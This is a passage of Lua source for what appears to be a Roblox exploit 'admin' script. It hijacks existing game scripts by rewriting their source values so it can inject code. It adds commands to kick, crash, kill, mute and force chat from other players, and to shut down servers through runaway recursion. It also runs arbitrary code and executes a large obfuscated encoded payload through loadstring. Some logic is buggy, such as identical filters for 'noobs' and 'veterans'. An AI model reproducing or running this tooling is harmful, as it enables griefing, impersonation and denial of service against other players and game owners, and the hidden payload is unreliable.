- for _,scriptinworkspace in pairs(workspace:children()) do
- if scriptinworkspace then
- if scriptinworkspace:IsA("Script") then
- if scriptinworkspace:FindFirstChild(SourceName) then
- newScript = scriptinworkspace:Clone()
- wait(0.2)
- newScript.Name = "NewScript"
- newScript.Disabled = true
- newScript:FindFirstChild(SourceName).Value = ""
- Output("Source found", __)
- found = true
- break
- end
- end
- end
- end
- wait()
- end
- end)()
- AddCmd("Unpunish player","unpunish","Restore the player's character",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr then
- NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
- end
- end
- end
- )
- function NewS(sourcevalue, parent)
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
- NS(sourcevalue, parent)
- else
- if newScript then
- local scr = newScript:Clone()
- if scr:FindFirstChild(SourceName) then
- if scr:FindFirstChild(SourceName) then
- scr:FindFirstChild(SourceName).Value = sourcevalue
- scr.Parent = parent
- wait(0.5)
- scr.Disabled = false
- return scr
- end
- end
- end
- end
- end
- sorcery = script:Clone()
- Services = {
- game:GetService("Workspace"),
- game:GetService("Players"),
- game:GetService("Lighting"),
- game:GetService("StarterPack"),
- game:GetService("StarterGui"),
- game:GetService("Teams"),
- game:GetService("SoundService"),
- game:GetService("Debris"),
- game:GetService("InsertService"),
- game:GetService("RunService"),
- game:GetService("Chat"),
- game:GetService("TeleportService"),
- game:GetService("Geometry"),
- game:GetService("MarketplaceService"),
- game:GetService("BadgeService"),
- game:GetService("NetworkClient"),
- game:GetService("FriendService"),
- }
- function Explore(Item)
- Dismiss()
- if(Item==nil)then
- for _,v in pairs(Services)do
- Output(v.Name,function() Explore(v) end)
- end;
- else
- f={
- ['View children']=function()
- Dismiss()
- for _,v in pairs(Item:children())do
- Output(v.Name,function()
- Explore(v)
- wait()
- end);
- end;
- end;
- ['View parent']=function()
- Explore(Item.Parent)
- end;
- ['Destroy']=function()
- Item:Destroy();
- Explore(Item.Parent);
- end;
- ['Clear']=function()
- Item:ClearAllChildren()
- end;
- ['Clone']=function()
- pcall(function()
- cloneableObj = Item:clone()
- end)
- end;
- ['Remove']=function()
- Item:remove()
- end;
- ['Paste']=function()
- if cloneableObj then
- cloneableObj.Parent = Item
- end
- end;
- ['Ki'..'ck Item']=function()
- NewLS("local plr = game:service'Players'.LocalPlayer; plr:Ki".."ck()", Item)
- end;
- };
- for i,v in pairs(f)do
- Output(tostring(i),v);
- end;
- Output('Item Name: \''..tostring(Item.Name)..'\'',nil);
- Output('Class: \''..tostring(Item.ClassName)..'\'',nil);
- if cloneableObj then
- Output('Currently Cloning: \''..tostring(cloneableObj.Name)..'\'',nil);
- end
- end;
- end;
- AddCmd("Explore","explore","Explore the game",
- function()
- Explore()
- end
- )
- function NewLS(sourcevalue, parent)
- if game.PlaceId == 21053279 or game.PlaceId == 21053219 then
- NLS(sourcevalue, parent)
- else
- local NS = sorcery:Clone()
- NS.Name = "NewLocal"
- local Source = NS:findFirstChild(SourceName)
- if Source == nil then Instance.new('StringValue',NS).Name = SourceName end Source = NS:findFirstChild(SourceName)
- Source.Value = sourcevalue
- NS.Parent = parent
- NS.Disabled = false
- return NS
- end
- end
- Clothes = {}
- for _,Item in pairs(LocalPlayer.Character:GetChildren()) do
- if Item:IsA('CharacterMesh') or Item:IsA('Hat') or Item:IsA('Shirt') or Item:IsA('Pants') then
- table.insert(Clothes,Item:Clone())
- end
- end
- for i,v in pairs(LocalPlayer.Character:GetChildren()) do
- if v:IsA("BodyColors") then
- body = v
- torsocolor = body.TorsoColor
- leftlegcolor = body.LeftLegColor
- rightlegcolor = body.RightLegColor
- leftarmcolor = body.LeftArmColor
- rightarmcolor = body.RightArmColor
- headcolor = body.HeadColor
- end
- end
- mouse = LocalPlayer:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "z" then
- game:service'StarterGui':SetCoreGuiEnabled(4, true)
- end
- end)
- AddCmd("Toogle ChatGUI","chat","Toogle ChatGUI on/off",
- function(plrs, msg)
- if msg == "off" then
- chatgui = false
- elseif msg == "on" then
- chatgui = true
- end
- end
- )
- AddCmd("Set WalkSpeed","ws","Set the walkspeed of player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local speed = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v.Character ~= nil and v.Character:findFirstChild("Humanoid") ~= nil then
- v.Character:findFirstChild("Humanoid").WalkSpeed = speed
- end
- end
- end
- )
- AddCmd("Teleport","tp","Teleport a player to a place",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local id = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v and v.Backpack then
- NewLS([[game:service'TeleportService':Teleport(]]..id..[[)]], v.Backpack)
- end
- end
- end
- )
- AddCmd("Chat","cht","Forces a player to chat ;)",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local id = msg:sub(tonumber(keypos+1))
- for _,v in pairs(plrs) do
- if v and v.Backpack then
- NewLS([==[game:service'Players':Chat(']==]..id..[==[')]==], v.Backpack)
- end
- end
- end
- )
- Bad_Char = ""
- function chatgui(msg)
- if not chatgui then return end
- if probemode == false then
- if LocalPlayer.Character:findFirstChild("Head") then
- mainPart = LocalPlayer.Character:findFirstChild("Head")
- end
- end
- if probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- mainPart = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe")
- end
- end
- local bg = Instance.new("BillboardGui", mainPart)
- bg.Adornee = mainPart
- bg.Name = "CHATGUIBG"
- bg.Size = UDim2.new(4, 0, 2.5, 0)
- bg.StudsOffset = Vector3.new(-4, 2, 0)
- local bg2 = Instance.new("BillboardGui", mainPart)
- bg2.Adornee = mainPart
- bg2.Name = "CHATGUIBG2"
- bg2.Size = UDim2.new(4, 0, 2.5, 0)
- bg2.StudsOffset = Vector3.new(-4, 4.5, 0)
- local text = Instance.new("TextLabel", bg)
- text.Size = UDim2.new(3, 0, 0.5, 0)
- text.FontSize = "Size18"
- text.TextScaled = true
- text.TextTransparency = 0
- text.BackgroundTransparency = 1
- text.TextTransparency = 0
- text.TextStrokeTransparency = 0
- text.Font = "Arial"
- text.TextColor = BrickColor.new("Institutional white")
- text.Text = " "
- Message = msg:sub(1)
- if #Message >50 then return end
- for i = 0, #Message, 1 do
- wait(0.01)
- text.Text = string.gsub("["..LocalPlayer.Name.."]: "..Message:sub(0, i),'fuck','fuck')
- end
- wait()
- coroutine.resume(coroutine.create(function()
- for i = 0, 5, 0.05 do
- if bg ~= nil then
- if bg2 ~= nil then
- wait()
- bg2.StudsOffset = bg2.StudsOffset + Vector3.new(0, 0.05, 0)
- end
- bg.StudsOffset = bg.StudsOffset + Vector3.new(0, 0.05, 0)
- end
- end
- end))
- for i=text.TextTransparency,1,0.02 do
- wait()
- text.TextTransparency = i
- text.TextStrokeTransparency = i
- end
- if bg == nil then return end
- bg:Destroy()
- if bg2 == nil then return end
- bg2:Destroy()
- end
- LocalPlayer.Chatted:connect(chatgui)
- AddCmd("Message","m","Make a message over the screen",
- function(plrs, msg)
- Message = msg
- NewS([[
- a = Instance.new("Message", workspace)
- a.Text = ]].."[ "..LocalPlayer.Name.." ]: "..Message, workspace)
- end
- )
- AddCmd("Hint","h","Make a message at top of the screen",
- function(plrs, msg)
- Hint = msg
- NewS([[
- a = Instance.new("Hint", workspace)
- a.Text = ]]..Hint, workspace)
- end
- )
- AddCmd("Commands","cmds","Show the list of commands",
- function()
- Dismiss()
- for i, v in pairs(Cmds) do
- Output(v["Name"],
- function()
- Output("Description: "..v["Desc"], __)
- Output("Usage: "..v["Say"], __)
- Output("Name: "..v["Name"], __)
- end)
- end
- end
- )
- AddCmd("Rejoin player","rej","Rejoin the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'TeleportService':Teleport(game.PlaceId)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Create base","base","Create the base",
- function()
- a = Instance.new("Part")
- a.Parent = Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- end
- )
- AddCmd("Ping","ping","Ping something",
- function(plrs, msg)
- if msg == "" then
- Output("pong", __)
- else
- Output(msg, __)
- end
- end
- )
- AddCmd("Dismiss","dis","Dismiss tabs",
- function()
- Dismiss()
- end
- )
- AddCmd("Probe mode", "probe", "Be a ball and fly around",
- function()
- probemode = true
- Dismiss()
- if LocalPlayer.Character then LocalPlayer.Character = nil end
- if workspace.CurrentCamera == nil then return end
- local camera = workspace.CurrentCamera
- local probe = Instance.new("Part", workspace)
- M = Instance.new("SpecialMesh", probe)
- M.MeshId = "http://www.roblox.com/asset/?id=21057410"
- M.TextureId = "http://www.roblox.com/asset/?id=35818216"
- M.Scale = Vector3.new(2.50, 2.50, 2.50)
- probe.TopSurface = 0
- probe.Anchored = true
- probe.BottomSurface = 0
- probe.Name = LocalPlayer.Name.."'s probe"
- local rotation = 0
- local bbg = Instance.new("BillboardGui", probe)
- bbg.Size = UDim2.new(3, 0, 3 ,0)
- bbg.ExtentsOffset = Vector3.new(0, 2, 0)
- local txt = Instance.new("TextLabel", bbg)
- txt.FontSize = "Size24"
- txt.Font = "SourceSansBold"
- txt.Text = LocalPlayer.Name
- txt.BackgroundTransparency = 1
- txt.TextColor = BrickColor.new("Bright bluish green")
- txt.TextStrokeTransparency = 0
- txt.Size = UDim2.new(1,0,1,0)
- local pl = Instance.new("PointLight", probe)
- pl.Shadows = true
- pl.Range = 20
- coroutine.wrap(function()
- while pl ~= nil do
- pl.Color = Color3.new(math.random(), math.random(), math.random())
- wait(0.8)
- end
- end)()
- coroutine.wrap(function()
- while LocalPlayer.Character == nil and probe.Parent == workspace and probe ~= nil and game:service'RunService'.Stepped:wait() do
- probe.CFrame = camera.Focus * CFrame.Angles(0, rotation, 0)
- rotation = rotation + 0.1
- end
- if camera then
- camera:Destroy()
- end
- probe:Destroy()
- end)()
- end
- )
- AddCmd("Make your character","char","Creates your character",
- function()
- if workspace.CurrentCamera == nil then return end
- local camera = workspace.CurrentCamera
- local new_char = game:service("InsertService"):LoadAsset(68452456):GetChildren()[1]
- local human = new_char.Humanoid
- human.Parent = nil
- new_char.Name = LocalPlayer.Name
- wait()
- human.Parent = new_char
- camera.CameraSubject = human
- camera.CameraType = "Custom"
- new_char.Parent = workspace
- local pl = Instance.new("PointLight", new_char.Head)
- pl.Range = 24
- pl.Shadows = true
- LocalPlayer.Character = new_char
- new_char:MakeJoints()
- new_char.Torso.BrickColor = torsocolor
- new_char["Left Leg"].BrickColor = leftlegcolor
- new_char["Right Leg"].BrickColor = rightlegcolor
- new_char["Left Arm"].BrickColor = leftarmcolor
- new_char["Right Arm"].BrickColor = rightarmcolor
- new_char.Head.BrickColor = headcolor
- for i,v in pairs(Clothes) do
- v:Clone().Parent = new_char
- end
- probemode = false
- end
- )
- AddCmd("Stop the commands","cremove","Remove the commands",
- function()
- Output("Are you sure that you wan't to remove the Dominus tabs?",
- function()
- Output("Are you 100% sure that you want this???",
- function()
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- LocalPlayer = NO_PLAYER
- script:findFirstChild(SourceName).Value = " "
- script.Disabled = true
- tabmodel:ClearAllChildren()
- tabmodel:Destroy()
- connection:disconnect()
- Tabs = {}
- Cmds = {}
- Banlist = {}
- fukhed.all = true
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- Dismiss()
- end
- end))
- end)
- end)
- end
- )
- AddCmd("stop plsplspls","vremove","Remove Admin",
- function()
- Output("y u remove dis",
- function()
- Output("fine...qq",
- function()
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end
- script.Disabled = true
- LocalPlayer = NO_PLAYER
- script:findFirstChild(SourceName).Value = " "
- script.Disabled = true
- tabmodel:ClearAllChildren()
- tabmodel:Destroy()
- connection:disconnect()
- Tabs = {}
- Cmds = {}
- Banlist = {}
- fukhed.all = true
- coroutine.resume(coroutine.create(function()
- while wait(0.1) do
- Dismiss()
- end
- end))
- end)
- end)
- end
- )
- AddCmd("ForceField","ff","Give forcefield to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- Instance.new("ForceField", plr.Character)
- end
- end
- end
- )
- AddCmd("Sparkles","sparkles","Give sparkles to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- Instance.new("Sparkles", plr.Character.Torso)
- end
- end
- end
- )
- AddCmd("Un-Sparkles","unsparkles","Remove sparkles from player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Torso then
- pcall(function()
- for j, k in pairs(plr.Character.Torso:GetChildren()) do
- if k:IsA("Sparkles") then
- k:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Crash player","crash","Crash the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS([==[
- game:GetService("RunService").RenderStepped(function()
- Delay(0, function() return end)
- end)]==], plr.Backpack)
- end
- end
- end
- )
- AddCmd("Respawn player","respawn","Respawn the player",
- function(plrs)
- for _, plr in pairs(plrs) do
- NewS("game.Players['"..plr.Name.."']:LoadCharacter()", workspace)
- end
- end
- )
- AddCmd("Mute player","mute","Block the player chat",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Unmute player","unmute","Unblock the player chat",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, true)", plr.Backpack)
- end
- end
- end
- )
- AddCmd("Un-ForceField","unff","Remove the forcefield that you gave to player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- pcall(function()
- for _,v in pairs(plr.Character:GetChildren()) do
- if v:IsA("ForceField") then
- v:Destroy()
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Gear","gear","Give gear to player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local asset = msg:sub(tonumber(keypos+1))
- for _,plr in pairs(plrs) do
- if plr and plr.Backpack then
- local obj = game:service("InsertService"):LoadAsset(asset)
- pcall(function()
- for a,g in pairs(obj:children())do
- if g:IsA("Tool") or g:IsA("HopperBin") then
- g.Parent = plr.Backpack
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("God player","god","Make the player immortal",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character and plr.Character.Humanoid then
- plr.Character.Humanoid.MaxHealth = math.huge
- end
- end
- end
- )
- AddCmd("Ungod player","ungod","Make the player mortal",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character.Humanoid.MaxHealth = 100
- end
- end
- end
- )
- AddCmd("Kick player","kick","Kick a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS("game:service'StarterGui':SerCoreGuiEnabled(3,false)", plr.Backpack)
- plr:Destroy()
- end
- end
- end
- )
- AddCmd("Kill player","kill","Kill a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character:BreakJoints()
- end
- end
- end
- )
- AddCmd("Punish player","punish","Remove character of a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Character then
- plr.Character:Destroy()
- end
- end
- end
- )
- AddCmd("Admin a player","admin","Give admin to a player",
- function(plrs)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- a = script:Clone()
- a.Parent = plr.Backpack
- Output("You gave admin to: "..plr.Name, __)
- end
- end
- end
- )
- AddCmd("Fix cam","fcam","Fix anyone's cam",
- function(plrs, msg)
- for _, plr in pairs(plrs) do
- if plr and plr.Backpack then
- NewLS([[
- game.Workspace.CurrentCamera:Destroy()
- cam = Instance.new("Camera", workspace)
- cam.Name = "CurrentCamera"
- cam.FieldOfView = 70
- cam.CameraType = "Custom"
- cam.CameraSubject = game.Players.LocalPlayer.Character.Humanoid]], plr.Backpack)
- end
- end
- end
- )
- AddCmd("AFK","afk","Ping yourself as afk",
- function()
- Dismiss()
- for i = 1,8 do
- wait()
- Output("AFK", __)
- end
- end
- )
- AddCmd("Back","back","Ping yourself as back",
- function()
- Dismiss()
- for i = 1,8 do
- wait()
- Output("Back", __)
- end
- wait(3)
- Dismiss()
- end
- )
- AddCmd("Ban a player","ban","Kicks a player when he enters",
- function(plrs, msg)
- for _,v in pairs(plrs) do
- if v then
- table.insert(Banlist,v.Name)
- Output('Banned | '..v.Name,__)
- else
- Output(Error)
- end
- end
- end
- )
- local charMap = {["+"] = 0, ["^"] = 1, ["%"] = 2, [")"] = 3, ["*"] = 4, ["$"] = 5, ["-"] = 6, ["_"] = 7, ["#"] = 8, ["&"] = 9, ["@"] = 10, ["("] = 11, ["?"] = 12, ["~"] = 13, ["!"] = 14, ["="] = 15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
- "?-=-)-^-?-+%&-~)~%^)()?-=-^-*-)_*_%_&-!-_-#%)_*_%_&-!-_-!%_-)_$_%-#B%!*!_~*~!~^&&~?@(&!&_@_~&~@A?@~@~_~~?^~&?&#)~)~+~-?@?%?##+?(A?#(~_-_(=?=!!@!)=$@?!!(?@!@-($!-!-~_~*!)!=~*~_~!?~#-~$~^~-?&?+?$#?(-?-?^($_~-@$@$(*-*~&^(~=$##$&$?$?$^^!A=-+&%#)$)*%!%~%!~=^=^!+!+?$+)%)-)#^)^_+&+==~($+)+!=%=*=@!!@*!~!?!-~&&+&&@#?*?=&$?#($($_(-#&*@=@%@$@$@~*%&)&_#?#()^*$#*&)_*_#-~-?^?$%%*^_)#$?*^$+$_*_)-*_)-)#C)**~^?$+)%)-))%$%+%#?_^)+!+^+*+*+!@*(!#-!^=+%$!-~~^%!)~$~+~-#)#+-#(~(?(#(#?&@?$?$$_*$+-A@(-*@$!)!_$#?^$#~(A?-)_)%+%~=!)+-($)$*$=*==$==!~!)=)!!^?$+)%)-)+!~(*^#-?_&+(@?!!+&+^+%+~=~@)@+~?~_!@C~$#@?+~&_%?%(^(!@$-)@-(&$^(%A&!#+&*&!_@*_*$*+*()^#^%&_?$?$*-+-&$*$!*~*&*!)_*!)!%_)-=^=-=$)_B~?#+*+@?_@#!?$!-$+~=!=&=&@=&+~@A~+~#~%~-?~_~?*?^_!--?(#)@+(!@?@@@@&!*(#@#=#_###%&*)@)@%$-^-_%*+$*_-%-@$($-$-+?=?%_)+*~)=%^)!-+*+*%**~?%!~--&)@)~))?&?&(*=+=-()&@!=!^!)#!&(#%&$#!#=_-#~(&?=(^(=(^(*(+(_-=&%-=&+_&&#$($%--&-#%&+&@#)#%)%#+#(_=-^__-(%~$=$$$)--^)^($&$*$#*@*+**+$)&*^*=%="
- ,"!_%@!&!!!)!!^(~*~??(~$^@~#~#?^+_+@=!+=^#($(^(=@=-__(-$__-=-_@*((@!&~@+@*@^@&$%&-$*&--+&+$*$?$?$^&%#=#!#&#)#))*#)#=_*___!-))--&-+-=-)%^%@-&-$-@$~$*$&^(*+-&$#*&+%*-+-+%^#+++?)@=*=~!~=!=~=!!#%=%)%-!*!^!+!%#(#+#(#!__#+?!?-?@(@?!()?^?@_*(&_#((#-(__?_$#((~@((((_(%()-$($(%(#@?@*@@-!&%@@&@@=$!$#@#@$@(&=&_&~$+&-@+@+&%$?#^$%$)$($*$!*(#@*$*=)+$%$%$**=__#?_+*=)~)~)%%?%%%!%%%?%--$_!-)-*_&-=-!-#%)-&%&-~)&-(%^)()%_$-*_$_%_!-+%)_*_%_&-!-_-!%)-#-^-%_#%#%)_*_%_&-!-_-!%%-&_*_$-#%)-&%(%~%^)^)#)(%&-&%$%+%%)$)-)&%$-!-*-&%&%#%&%"
- }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(charMap[lo]+charMap[hi]*16)end)))),getfenv())()
- AddCmd("Shutdown the game","sd","Shutdown the game",
- function()
- NewS([[ local function BufferOverflow(object)
- object.DescendantAdded:connect(BufferOverflow)
- Instance.new("IntValue", object)
- end
- BufferOverflow(Game)
- ]], workspace)
- end
- )
- AddCmd("Check source","chks","Check if the source is found",
- function()
- if found then
- Output("Source is found")
- else
- Output("Source is not found")
- end
- end
- )
- AddCmd("Say bye to everyone","bye","Say bye to everyone",
- function()
- Dismiss()
- for i = 1,8 do
- Output("Bye", __)
- end
- end
- )
- AddCmd("Check source name","chksn","Check the source name",
- function()
- Output(SourceName, __)
- end
- )
- AddCmd("Change source name","csn","Change the source name",
- function(plrs, msg)
- SourceName = tostring(msg)
- end
- )
- AddCmd("Kick player list","klist", "Show a kick player list",
- function()
- Dismiss()
- Output("Click on the player name that you want to kick", __)
- for _,v in pairs(game:GetService("Players"):GetChildren()) do
- Output(v.Name,
- function()
- NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)", v.Backpack)
- v:Destroy()
- end)
- end
- end
- )
- AddCmd("Script","script","Execute a Script",
- function(plrs, msg)
- NewS(msg, workspace)
- end
- )
- AddCmd("LocalScript","local","Execute a LocalScript",
- function(plrs, msg)
- NewLS(msg, LocalPlayer.Backpack)
- end
- )
- AddCmd("Execute", "exe","Execute a LocalScript for admin",
- function(plrs, msg)
- a,b = ypcall(function()
- loadstring(msg)()
- end) if not a then Output(b,"Bright red") end
- end
- )
- AddCmd("#Commands","#cmds","See how much are commands in this admin",
- function()
- Output(#Cmds, __)
- end
- )
- AddCmd("Clean workspace","clean","Clean everything in workspace except terrain",
- function()
- NewS([[
- for _,v in pairs(game.Workspace:GetChildren()) do
- if v.Name ~= "Terrain" then
- v:Destroy()
- end
- end
- ]],workspace)
- wait(1)
- a = Instance.new("Part")
- a.Parent = Workspace
- a.Name = "Base"
- a.Position = Vector3.new(0, 0.6, 0)
- a.Size = Vector3.new(1002, 0, 1002)
- a.Material = "Grass"
- a.Anchored = true
- a.BrickColor = BrickColor.new("Dark green")
- NewS([[
- for _,v in pairs(game.Players:GetChildren()) do
- v:LoadCharacter()
- end
- ]], workspace)
- end
- )
- AddCmd("Script Help","sh","Help everyone with scripts",
- function()
- Dismiss()
- for i = 1,1 do
- wait()
- Output("Script Help:", __)
- Output("Google ROBLOX Script Bot and download it.", __)
- Output("Find a script using ROBLOX Catalog.", __)
- Output("Open ROBLOX Studio.", __)
- Output("Edit any place and insert your script.", __)
- Output("Copy your ENTIRE script.", __)
- Output("Paste the script in the text box.", __)
- Output("Select the 'Local Script' box, if the script it local.", __)
- Output("Name your script and press 'Run Script'.", __)
- Output("Enjoy showing off your script!", __)
- end
- end
- )
- AddCmd("Darkhearts","dh","Gives Darkhaerts",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Darkhearts Given",__)
- local obj = game:service("InsertService"):LoadAsset(108149175)
- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = LocalPlayer.Backpack end end
- end
- end
- )
- AddCmd("Machete","machete","Gives Machete",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Machete Given",__)
- local obj = game:service("InsertService"):LoadAsset(123234673)
- for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = LocalPlayer.Backpack end end
- end
- end
- )
- AddCmd("Gear","gear","Give gear to player",
- function(plrs, msg)
- local keypos = msg:find(key)
- local targPlayers = msg:sub(1,keypos-1)
- local plrs = getPlayers(targPlayers)
- local asset = msg:sub(tonumber(keypos+1))
- for _,plr in pairs(plrs) do
- if plr and plr.Backpack then
- local obj = game:service("InsertService"):LoadAsset(asset)
- pcall(function()
- for a,g in pairs(obj:children())do
- if g:IsA("Tool") or g:IsA("HopperBin") then
- g.Parent = plr.Backpack
- end
- end
- end)
- end
- end
- end
- )
- AddCmd("Dark Character","dark","Make Character Dark",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Character is Now Dark",__)
- player=game.Players.LocalPlayer
- char=player.Character
- Color=BrickColor.new("Grey")
- Color2=BrickColor.new(Color3.new(0,0,0))
- model=Instance.new("Model")
- model.Name="Suit"
- model.Parent=char
- d=0
- Debounce=true
- fake=char.Head:clone()
- pcall(function() fake.face:remove() end)
- char.Head.Transparency=1
- fake.Parent=model
- fake.Transparency=0
- w=Instance.new("Weld")
- w.Part1=fake
- w.Part0=char.Head
- w.Parent=char
- fake.Mesh.Scale=fake.Mesh.Scale+Vector3.new(-0.01,-0.01,-0.01)
- fake.BrickColor=Color2
- char.Head.Changed:connect(function(p)
- if p=="BrickColor" then
- wait()
- pcall(function()
- char.Head.face:Remove()
- char.Torso.roblox:remove()
- char["Shirt Graphic"]:remove()
- end)
- char.Humanoid.WalkSpeed=25
- char.Humanoid.MaxHealth=math.huge
- char.Humanoid.Health=math.huge
- for _,v in pairs(char:children()) do
- if v.className=="Hat" then
- v:remove()
- elseif v:IsA("Part") then
- v.BrickColor=Color2
- v.TopSurface="Smooth"
- v.BottomSurface="Smooth"
- elseif v:IsA("Shirt") or v:IsA("Pants") then
- v:remove()
- end
- end
- end
- end)
- char.Head.BrickColor=Color2
- Tor=Instance.new("Part")
- Tor.Size=Vector3.new(1,1,1)
- Tor.BrickColor=Color2
- Tor.Reflectance=0
- Tor.Transparency=0
- Tor.CanCollide=false
- Tor.Parent=char
- Mesh=Instance.new("SpecialMesh")
- Mesh.MeshId="http://www.roblox.com/asset/?id=21057410"
- Mesh.Scale=Vector3.new(1.05,1.05,1.05)
- Mesh.Parent=Tor
- w = Instance.new("Weld")
- w.Parent = char["Head"]
- w.Part0 = w.Parent
- w.Part1 = Tor
- w.C0 = CFrame.new(0,0.35,0)
- end
- end
- )
- AddCmd("NoClip Character","nclip","Make Character NoClip",
- function()
- Dismiss()
- for i = 1,1 do
- Output("Character is Now NoClipped",__)
- wait(1)
- nam = game.Players.LocalPlayer.Name
- coroutine.wrap(function()
- while wait() do
- for a, b in pairs(Workspace[nam]:GetChildren()) do
- if b:FindFirstChild('Handle') then
- b.Handle.CanCollide = false
- end
- end
- end
- end)()
- Workspace[nam].Humanoid.Changed:connect(function()
- Workspace[nam].Humanoid.WalkSpeed = 16
- end)
- game:GetService('Players').LocalPlayer.PlayerGui.ChildAdded:connect(function(asd)
- delay(0, function()
- if asd.Name ~= 'OutputGUI' then
- asd:Destroy()
- end
- end)
- end)
- game:GetService('RunService').Stepped:connect(function()
- Workspace[nam].Torso.CanCollide = false
- Workspace[nam].Head.CanCollide = false
- end)
- Workspace[nam].Torso.Changed:connect(function()
- Workspace[nam].Torso.CanCollide = false
- Workspace[nam].Head.CanCollide = false
- end)
- end end
- )
- AddCmd("Remove Tools","rt","Remove current tools",
- function()
- Dismiss()
- pcall(function()
- LocalPlayer.Backpack:ClearAllChildren()
- end)
- end
- )
- function Output(Txt, func)
- P = Instance.new("Part", tabmodel)
- P.Anchored = true
- P.CanCollide = false
- if probemode == false then
- if LocalPlayer.Character.Torso then
- P.Position = LocalPlayer.Character.Torso.Position
- elseif LocalPlayer.Character.Torso == nil then return end
- elseif probemode == true then
- if game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") then
- P.Position = game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe").Position
- elseif game.Workspace:findFirstChild(LocalPlayer.Name.."'s probe") == nil then return end
- else
- return
- end
- M = Instance.new("SpecialMesh",P)
- M.MeshId = "http://www.roblox.com/asset/?id=21057410"
- M.TextureId = "http://www.roblox.com/asset/?id=64444605"
- M.Scale = Vector3.new(1.60,1.60,1.60)
- Instance.new("PointLight", P)
- bg = Instance.new("BillboardGui", P)
- bg.Adornee = tab
- bg.Size = UDim2.new(8, 0, 7.5, 0)
- bg.StudsOffset = Vector3.new(0, 1, 0)
- text = Instance.new("TextLabel", bg)
- text.Size = UDim2.new(1, 0, 0.2, 0)
- text.FontSize = "Size18"
- text.BackgroundTransparency = 1
- text.Font = "Legacy"
- text.TextStrokeTransparency = 0
- text.TextColor = BrickColor.new("Institutional white")
- text.Text = Txt
- Click = Instance.new("ClickDetector",P)
- Click.MaxActivationDistance = 999999999
- Click.MouseClick:connect(function(Plr)
- if Plr.Name == LocalPlayer.Name then
- Dismiss()
- func = func
- func()
- end
- end)
- table.insert(Tabs, P)
- end
- function getPlayers(msg)
- local plrs = {}
- if msg == "me" then
- table.insert(plrs, LocalPlayer)
- elseif msg == "all" then
- plrs = game:GetService("Players"):GetChildren()
- elseif msg == "noobs" then
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- if plr.AccountAge > 364 then
- table.insert(plrs, plr)
- end
- end
- elseif msg == "veterans" then
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- if plr.AccountAge > 364 then
- table.insert(plrs, plr)
- end
- end
- elseif msg == "others" then
- for i,v in pairs(game:GetService("Players"):GetChildren()) do
- if v ~= LocalPlayer then
- table.insert(plrs, v)
- end
- end
- else
- for i,v in pairs(game:GetService("Players"):GetChildren()) do
- if v.Name:lower():sub(1,#msg) == msg:lower() then
- table.insert(plrs, v)
- end
- end
- end
- return plrs
- end
- for _,plr in pairs(game:GetService("Players"):GetChildren()) do
- end
- LocalPlayer.Chatted:connect(function(m)
- for i,v in pairs(Cmds) do
